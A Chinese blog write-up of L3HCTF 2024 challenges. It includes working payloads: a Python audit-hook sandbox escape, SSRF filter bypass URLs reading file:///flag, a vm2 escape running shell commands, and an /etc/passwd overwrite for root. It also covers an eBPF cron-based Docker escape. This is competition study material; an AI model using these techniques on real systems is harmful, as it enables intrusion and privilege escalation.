L3HCTF 2024
本文最后更新于 72 天前,其中的信息可能已经有所发展或是发生改变。

Rank: 10

https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c

https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne

https://github.com/0RAYS/WriteUp/tree/main/2024/L3HCTF

官方WP及其他

Web

intractable problem | 复现

又双叒叕被jail干趴下了

  • 沙箱部分,通过添加hook限制审计事件的发生,当满足p > 1e5 and q > 1e5 and p * q == int("...")时返回Correct,即可获得flag
import sys
import os

codes = '''
<<codehere>>
'''

try:
    codes.encode("ascii")
except UnicodeEncodeError:
    exit(0)

if "__" in codes:
    exit(0)

codes += "\nres=factorization(c)"
locals = {"c": "696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863", "__builtins__": None}
res = set()


def blackFunc(oldexit):
    def func(event, args):
        blackList = [
            "process",
            "os",
            "sys",
            "interpreter",
            "cpython",
            "open",
            "compile",
            "__new__",
            "gc"]
        for i in blackList:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                oldexit(0)
    return func


code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code, {"__builtins__": None}, locals)

p = int(locals["res"][0])
q = int(locals["res"][1])
if p > 1e5 and q > 1e5 and p * q == int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863"):
    print("Correct!", end="")
else:
    print("Wrong!", end="")
  • 由python官方文档得知int()值来自
Return an integer object constructed from a number or string x, or return 0 if no arguments are given. If x defines __int__(), int(x) returns x.__int__(). If x defines __index__(), it returns x.__index__(). If x defines __trunc__(), it returns x.__trunc__(). For floating point numbers, this truncates towards zero.

If x is not a number or if base is given, then x must be a string, bytes, or bytearray instance representing an integer literal in radix base. Optionally, the literal can be preceded by + or - (with no space in between) and surrounded by whitespace. A base-n literal consists of the digits 0 to n-1, with a to z (or A to Z) having values 10 to 35. The default base is 10. The allowed values are 0 and 2–36. Base-2, -8, and -16 literals can be optionally prefixed with 0b/0B, 0o/0O, or 0x/0X, as with integer literals in code. Base 0 means to interpret exactly as a code literal, so that the actual base is 2, 8, 10, or 16, and so that int('010', 0) is not legal, while int('010') is, as well as int('010', 8).
  • 尝试定义一个新类,控制int()的返回值,但是__builtins__None,并且过滤了__,这个路子不了了之
  • 再者,可以覆盖int()函数,替换为自定义的函数,同样达到控制返回值的目的,此时就需要获取到exec外层的全局变量,要用到生成器(好好好,又是生成器
  • generator包含四个属性值
>>> a = (i for i  in range(10))
>>> a
<generator object <genexpr> at 0x00000237437F9A10>
>>> dir(a)
['__class__', '__del__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__next__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'gi_code', 'gi_frame', 'gi_running', 'gi_yieldfrom', 'send', 'throw']
  • gi_frame
>>> dir(a.gi_frame)
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'f_back', 'f_builtins', 'f_code', 'f_globals', 'f_lasti', 'f_lineno', 'f_locals', 'f_trace', 'f_trace_lines', 'f_trace_opcodes']
f_back下一个外部帧对象(此帧的调用者)
f_builtins此帧所看到的buildins命名空间
f_code在此帧中执行的代码对象
f_globals此帧所看到的全局命名空间
f_lasti在字节码中最后尝试的指令的索引
f_lineno当前行在Python源代码中的行号
f_locals此帧所看到的局部命名空间
f_trace此帧的追踪函数,或“None“
完整表格参考https://docs.python.org/3.9//library/inspect.html
  • 通过f_back获取上一层帧对象,即可跳出exec的执行环境获取到外部的全局变量
factorization = lambda x:("1", "2")
def int(n):
    if n == "1":
        return 1e6
    elif n == "2":
        return 1e6
    else:
        return 1e12
c = [a:=[],a.append([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]]
d = c[-1][0]["_""_builtins_""_"]
d.setattr(d, "int", int)
  • 写不动了,头晕,直接贴payload了,之后有空再补
  • 好像也没什么好写的了,就覆盖一下int()函数即可

一回来就生病,一年没生病都攒到这两天了,状态一直不好,西湖论剑,Realworld,l3hctf狠狠爆零,这两天顶着39的体温看这题和escape-2,一点儿都出不了

破案了,原来是甲流

short url | pankas

  • 重点关注两个路由
@GetMapping({"/test"})
public String test(@RequestParam(required = true) String redirect) {
    String url = (String)CacheMap.getInstance().get(redirect);
    if (url == null) {
        return "url not found";
    } else {
        UriComponents uri = UriComponentsBuilder.fromUriString(url).build();
        String paramUrl = (String)uri.getQueryParams().getFirst("url");
        if (paramUrl != null) {
            UriComponents newUri = UriComponentsBuilder.fromUriString(paramUrl).build();
            String newHost = newUri.getHost();
            if (newHost == null || !newHost.equals(this.BaseURL)) {
                return "url is invalid";
            }
        }

        return this.Fetch(url);
    }
}

@GetMapping({"/private"})
public String privateTest(HttpServletRequest request, @RequestParam(required = true) String url) {
    String ip = request.getRemoteAddr();
    return !ip.equals("127.0.0.1") ? "not allowed" : this.Fetch(url);
}
  • 同时还有一个拦截器
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    if (!request.getRequestURI().equals("/private") && !request.getRequestURI().equals("/test")) {
        return true;
    } else {
        response.setStatus(418);
        return false;
    }
}
  • 其中,配置为
public void configurePathMatch(PathMatchConfigurer configurer) {
    configurer.setUseTrailingSlashMatch(true);
}
  • 此时,/private/private/将被指向同一个路由,使用/private/即可绕过拦截器
  • private路由需要从本地访问,通过ssrf打内网,file协议读取文件即可,通过test路由访问private即可;而test路由中,设置了可访问host的白名单,此处存在两种绕过方式
  • 通过url编码参数,令paramUrl != nullfalse,不进入分支,http://127.0.0.1:8080/private/?%75%72%6c=http://127.0.0.1:8080/private/?url=file:///flag
  • org.springframework.web.util.UriComponents可拼接相同参数,http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag

Escape-web | pankas & gtg

格局小了,原来是vm2逃逸,不是docker逃逸

https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9

  • 通过容器挂载output.txt和error.txt读取执行结果,通过软链接读flag
// vm2 https://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

function exec(cmd){
    obj = {
        [customInspectSymbol]: (depth, opt, inspect) => {
            console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync(cmd).toString());
        },
        valueOf: undefined,
        constructor: undefined,
    }
    WebAssembly.compileStreaming(obj).catch(()=>{});
}
exec("rm -rf /app/output.txt;touch /flag;ln -s /flag /app/output.txt");

Misc

RAWaterMark | cjj

我完全sb了,一心想找个raw的水印,原来是LSB

cjj yyds!!

import rawpy
from Crypto.Util.number import long_to_bytes

with rawpy.imread('image.ARW') as raw:

    data = raw.raw_image_visible[0]
    data = ''.join([str(i & 1) for i in data])
    open("test.zip", "wb").write(long_to_bytes(int(data, 2)))

End_of_Programming | cjj

  • 题目描述清楚给chatgpt即可
你讲拿到一个oi题目,请写出完全符合要求的cpp代码,并且能够通过10组数据测试
题目描述
现在我们有a个人只爱吃肉,有b个人坚决不吃肉,也有c个人什么都吃。
食堂只提供m种菜,并且规定每种菜只可以买一次。第i个菜有一个价格Ci,并且有一个字符A或B,表示这是荤菜或是素菜。
现在希望喂饱尽量多的人,也希望在此前提下尽可能地减少花费。请你计算他最多能喂饱多少人,以及至少需要花费多少钱。

输入格式
第一行三个整数a,b,c 
接下来一行是一个整数m 
接下来m行,每行表示食品的价值和类别,A表示荤菜,B表示素菜。

输出格式
两个数,分别表示能够喂饱的人数量以及花费的总价值。

样例 #1
样例输入 #1
2 1 1
4
5 A
6 B
3 B
7 B
样例输出 #1
3 14

其中,对于10%的数据a = b = 0,30%的数据1<=a,b,c<=100,1<=m<=100,全部数据1<=a,b,c<=100000,1<=m<=300000,所有的Ci <= 100000000,请让你的代码能够处理这些范围的数据,一共需要通过十组数据,请给出完整代码并将代码用```围起来后输出,代码中a,b,c,m请改成long类型

Escape-2 | 复现

  • 先提权
find . -exec /bin/bash -p \; -quit
echo cm9vdDo6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi9ydW4vaXJjZDovdXNyL3NiaW4vbm9sb2dpbgpnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTAwOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwMTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmN0Zjp4OjY2Njo2NjY6Oi9ob21lL2N0ZjovYmluL2Jhc2g=|base64 -d >/etc/passwd
su root
  • mount看看挂载
root@2502a78d0b29:/home/ctf# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/EUIU2GNIJ627BGCR2BG4UUK7EQ:/var/lib/docker/overlay2/l/CFKOGBCJQ25T7U4BGZAWVCKYQC:/var/lib/docker/overlay2/l/CT74IXSXL3PJO327KUO2PFJSVE:/var/lib/docker/overlay2/l/RLO7SRNMDO5SLTGSUIA5LJW3KD:/var/lib/docker/overlay2/l/C5XASZ7MWSW7OJ6PYE4DZVRR4V:/var/lib/docker/overlay2/l/ZS6TRTQLYTDMCYGFB7I66IUT7R,upperdir=/var/lib/docker/overlay2/6d6f795f43f2f85ec7b10b29f7fef65ef63e04612ff0469d82e5a8469d2cc8a3/diff,workdir=/var/lib/docker/overlay2/6d6f795f43f2f85ec7b10b29f7fef65ef63e04612ff0469d82e5a8469d2cc8a3/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k,inode64)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
debugfs on /sys/kernel/debug type debugfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64)
tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)
tracefs on /sys/kernel/debug/tracing type tracefs (rw,nosuid,nodev,noexec,relatime)
  • /proc/self/status
root@2502a78d0b29:/home/ctf# cat /proc/self/status | grep CapPrm
CapPrm: 00000000a82425fb
  • capsh --decode=00000000a82425fb
$ capsh --decode=00000000a82425fb
0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap
  • 太菜了,根本看不出明示

https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c

和默认的相比,多了 cap_sys_admin,其实有 cap_sys_admin 就可以试试去挂载 cgroup 或者 sysfs了,但这个因为有 apparmor 的限制,所以实际上还是不能挂载,那么还是考虑 cap_sys_admin 和 /sys/kernel/debug 两个共同使用会比较好,基本就是在明示用 ebpf 了。
  • 找了几个现成的exp
https://github.com/TomAPU/bpfcronescape一把梭

https://github.com/CrackerCat/Eebpf-kit比上一个旧了点儿,还是动态链接,实际打的时候会出问题
  • 改一下backdoor.bpf.cPAYLOAD
char PAYLOAD[]="* * * * * root /bin/bash -c \"cat /flag >> /var/lib/docker/overlay2/6d6f795f43f2f85ec7b10b29f7fef65ef63e04612ff0469d82e5a8469d2cc8a3/diff/tmp/flag\" \n#";
  • 编译
apt install clang libelf1 libelf-dev zlib1g-dev gcc pkg-config
chmod +x tools/bpftool
cd code
make
  • 参考链接

https://security.tencent.com/index.php/blog/msg/206

https://drivertom.blogspot.com/2022/01/ebpfdocker.html

https://zhuanlan.zhihu.com/p/466319667

https://github.com/libbpf/libbpf

https://github.com/libbpf/libbpf-bootstrap

ebpf escape
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇